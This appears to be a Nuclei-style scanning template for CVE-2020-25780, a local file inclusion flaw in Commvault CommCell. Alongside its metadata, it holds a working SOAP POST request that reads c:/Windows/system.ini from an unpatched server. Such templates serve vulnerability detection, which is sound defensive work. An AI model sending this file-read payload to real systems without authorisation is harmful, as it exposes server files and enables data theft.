id: CVE-2020-25780 info: name: Commvault CommCell - Local File Inclusion author: pdteam severity: high description: CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13 are vulnerable to local file inclusion because an attacker can view a log file can instead view a file outside of the log-files folder. reference: - https://srcincite.io/blog/2021/11/22/unlocking-the-vault.html - http://kb.commvault.com/article/63264 - https://nvd.nist.gov/vuln/detail/CVE-2020-25780 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-25780 cwe-id: CWE-22 epss-score: 0.01865 cpe: cpe:2.3:a:commvault:commcell:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: commvault product: commcell tags: cve,cve2020,commvault,lfi http: - method: POST path: - "http://{{Host}}:81/SearchSvc/CVSearchService.svc" body: | c:/Windows/system.ini headers: Cookie: Login soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile content-type: text/xml matchers-condition: and matchers: - type: word words: - "downLoadFileResult" - type: status status: - 200